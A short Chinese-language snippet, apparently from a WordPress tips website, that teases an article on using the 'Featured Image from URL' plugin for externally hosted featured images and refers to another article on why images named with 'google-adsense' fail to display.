WordPress外链特色图片插件:Featured Image from URL
WordPress如何添加外链特色图片?Featured Image from URL插件设定虽然用WordPress建站有很多优势,但是在WordPress默认的媒体库,并不是那么好用:上传图片会自动裁剪生成各种尺寸……
希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress为何无法显示带有google-adsense命名的图片?》,对您有帮助。